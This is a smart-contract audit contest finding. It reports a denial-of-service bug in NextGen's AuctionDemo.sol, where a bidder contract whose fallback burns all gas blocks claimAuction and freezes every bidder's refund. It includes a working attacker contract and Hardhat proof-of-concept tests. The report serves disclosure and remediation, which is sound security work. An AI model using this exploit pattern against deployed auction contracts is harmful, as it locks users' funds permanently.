Any bidder can lock all the withdrawals

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L116

Vulnerability details

Vulnerability Details

Prerequisites:

• Auction ended (block.timestamp >= minter.getAuctionEndTime(_tokenid))
• One of the bidders who didn't cancel their bid consume all the gas on call
  • If the gasLimit is set too high may need to do 2 bids, because only 63/64 gas is passed to a call

Result:
Not enough gas to finish the execution (we still have not payed the winner in the for-loop because the winner is the last with status true in the auctionInfoData array)

Impact

No one can withdraw there bids.
No way to recover the funds.

Proof of Concept

Put the contracts below in hardhat/smart-contracts

// SPDX-License-Identifier: MIT
import {auctionDemo} from "./AuctionDemo.sol";
pragma solidity ^0.8.19;

contract ThrowOnCall{

    function bid(auctionDemo auction, uint256 tokenId) external payable {
        require(msg.value > 0);
        auction.participateToAuction{value: msg.value}(tokenId);
    }
    fallback() external payable {
        // easiest way to consume all the gas
        assembly {
            invalid()
        }
    }
}

Put the test file below to hardhat/tests/fileName.test.js and run npx hardhat test test/fileName.test.js

// @ts-check

const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
  const { expect } = require("chai");
  // @ts-ignore
  const { ethers } = require("hardhat");
  const fixturesDeployment = require("../scripts/fixturesDeployment.js")
  
  let signers
  let contracts
  

describe("NextGen Tests", function () {
    beforeEach(async function () {
      ;({ signers, contracts } = await loadFixture(fixturesDeployment))
      const auction = await ethers.getContractFactory(
        "auctionDemo",
      );
      contracts.hhAuction = await auction.deploy(
        await contracts.hhMinter.getAddress(),
        await contracts.hhCore.getAddress(),
        await contracts.hhAdmin.getAddress(),
      );
      await contracts.hhCore.addMinterContract(
        contracts.hhMinter
      );
      await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
      )

      contracts.hhThrowOnCall = await (await ethers.getContractFactory("ThrowOnCall")).deploy();
    })

    context("Verify Fixture", () => {
        it("Contracts are deployed", async function () {
            expect(await contracts.hhThrowOnCall.getAddress()).to.not.equal(
                ethers.ZeroAddress,
            )
        })}
    );

    context("Any bidder can lock all the withdrawals", () => {
        let tokenId;
        let endTimestamp;
        let normalBidder;

        beforeEach(async function () {
            // prepare
            await contracts.hhCore.createCollection(
                "Test Collection 1",
                "Artist 1",
                "For testing",
                "www.test.com",
                "CCO",
                "https://ipfs.io/ipfs/hash/",
                "",
                ["desc"],
              );
            const collectionAdmin = signers.addr1;
            await contracts.hhAdmin.registerCollectionAdmin(
                1,
                collectionAdmin.address,
                true,
            )
            await contracts.hhCore.connect(collectionAdmin).setCollectionData(
                1, // _collectionID
                collectionAdmin.address, // _collectionArtistAddress
                2, // _maxCollectionPurchases
                10000, // _collectionTotalSupply
                0, // _setFinalSupplyTimeAfterMint
            )
            await contracts.hhMinter.setCollectionCosts(
                1, // _collectionID
                0, // _collectionMintCost
                0, // _collectionEndMintCost
                0, // _rate
                2000, // _timePeriod
                1, // _salesOptions
                '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
              )

            const startTimestamp = await getLatestBlockTimestamp();
            endTimestamp = startTimestamp + 1000
            await contracts.hhMinter.setCollectionPhases(
                1, // _collectionID
                startTimestamp, // _allowlistStartTime
                endTimestamp, // _allowlistEndTime
                0, // _publicStartTime
                0, // _publicEndTime
                "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
            )

            normalBidder = signers.addr2;
            expect(collectionAdmin.address).not.eq(normalBidder.address);

            // start auction
            const tx = await contracts.hhMinter.mintAndAuction(
                collectionAdmin.address, // _recipient
                "", // _tokenData
                0, // _saltfun_o
                1, // _collectionID
                endTimestamp, // _auctionEndTime
            );

            // check token minted
            tokenId = await getLastMintedTokenId(tx);
            expect(await contracts.hhMinter.getAuctionEndTime(tokenId)).to.eq(endTimestamp);
            expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(collectionAdmin.address);

            // approve auction to use it
            contracts.hhCore.connect(signers.addr1).approve(
                await contracts.hhAuction.getAddress(),
                tokenId    
            );

            // normal bids
            await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 1000 });
            await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 2000 });
            await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 3000 });
        })
        it("reverts if attacker is called (max gas)", async function() {
            // malicious/broken bid, the biggest bid so far
            // we do 2 bids to be sure because only 63/64 of gas is passed, and with 30mln one time is not enough
            await contracts.hhThrowOnCall.bid(contracts.hhAuction, tokenId, {value: 4000})
            await contracts.hhThrowOnCall.bid(contracts.hhAuction, tokenId, {value: 5000})

            // overbid by normal bidder
            await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 6000 });

            // skip until the auction end time
            await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp + 1]);
            await ethers.provider.send("evm_mine");
            expect(await contracts.hhMinter.getAuctionEndTime(tokenId))
                .to.be.lessThan(await getLatestBlockTimestamp());
            
            // try to withdraw, will throw
            await expect(contracts.hhAuction.connect(normalBidder)
                // 30mln is the limit
                .claimAuction(tokenId, {gasLimit: 30_000_000}))
                // @ts-ignore
                .to.be.reverted;

            // just to show that cancel bids also does not work
            await expect(contracts.hhAuction.connect(normalBidder).cancelAllBids(tokenId))
                // @ts-ignore
                .to.be.revertedWith("Auction ended");
        })
        it("reverts if attacker is called (normal gas)", async function() {
            // malicious/broken bid, the biggest bid so far
            // only one bid is required for 1mln gas
            await contracts.hhThrowOnCall.bid(contracts.hhAuction, tokenId, {value: 4000})

            // overbid by normal bidder
            await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 6000 });

            // skip until the auction end time
            await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp + 1]);
            await ethers.provider.send("evm_mine");
            expect(await contracts.hhMinter.getAuctionEndTime(tokenId))
                .to.be.lessThan(await getLatestBlockTimestamp());
            
            // try to withdraw, will throw
            await expect(contracts.hhAuction.connect(normalBidder)
                .claimAuction(tokenId, {gasLimit: 1_000_000}))
                // @ts-ignore
                .to.be.reverted;

            // just to show that cancel bids also does not work
            await expect(contracts.hhAuction.connect(normalBidder).cancelAllBids(tokenId))
                // @ts-ignore
                .to.be.revertedWith("Auction ended");
        })
    
    });
});
async function getLastMintedTokenId(tx) {
    return (await tx.wait()).logs
        .map(log => {
            try {
                return new ethers.Interface([
                    "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)"
                ]).parseLog(log);
            } catch (error) {
                return null;
            }
        })
        .find(parsedLog => parsedLog && parsedLog.name === "Transfer")
        .args.tokenId;
}

async function getLatestBlockTimestamp() {
    // @ts-ignore
    return (await ethers.provider.getBlock("latest")).timestamp;
}

Tools Used

Manual review

Recommended Mitigation Steps

Rewrite the auction so it uses Pull over Push pattern.

Assessed type

DoS

[c4-pre-sort]

141345 marked the issue as duplicate of #486

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #1782

[c4-judge]

alex-ppg marked the issue as partial-50